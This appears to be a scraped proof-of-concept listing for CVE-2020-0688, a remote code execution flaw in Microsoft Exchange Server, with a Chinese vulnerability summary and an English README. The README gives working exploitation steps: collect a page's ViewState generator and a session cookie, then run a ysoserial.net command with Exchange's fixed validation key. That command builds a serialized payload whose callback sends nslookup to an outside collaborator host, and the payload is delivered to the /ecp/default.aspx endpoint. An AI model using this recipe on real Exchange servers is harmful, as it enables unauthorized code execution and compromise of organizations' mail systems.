CVE-2020-0688 PoC — Microsoft Exchange Server 授权问题漏洞

Source

https://github.com/random-robbie/cve-2020-0688

Associated Vulnerability

Title:Microsoft Exchange Server 授权问题漏洞 (CVE-2020-0688)
Description:Microsoft Exchange Server是美国微软（Microsoft）公司的一套电子邮件服务程序。它提供邮件存取、储存、转发，语音邮件，邮件过滤筛选等功能。 Microsoft Exchange Server 中存在授权问题漏洞，该漏洞源于程序无法正确处理内存中的对象。攻击者可借助特制的电子邮件利用该漏洞在系统用户的上下文中运行任意代码。以下产品及版本受到影响：Microsoft Exchange Server 2010，Microsoft Exchange Server 2013，Micro

Description

cve-2020-0688

Readme

# cve-2020-0688
cve-2020-0688

Login with a user with an email address privliage is nothing to worry about.

Grab -  `__VIEWSTATEGENERATOR` from page source
Grab - the value of `ASP.NET_SessionId` cookie for viewstateuserkey value

[Download YSO Here](https://github.com/pwntester/ysoserial.net/releases/download/v1.32/ysoserial-1.32.zip)


```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```

GET TO:

```
https://localhost/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
```

The Exploit.py is untested and need a demo system to fire up and play with.

File Snapshot


 [4.0K]  /data/pocs/7e5478752b41ec0abeb3b092f277b9a16fdff76b
├── [1.9K]  exploit.py
└── [ 826]  README.md

0 directories, 2 files

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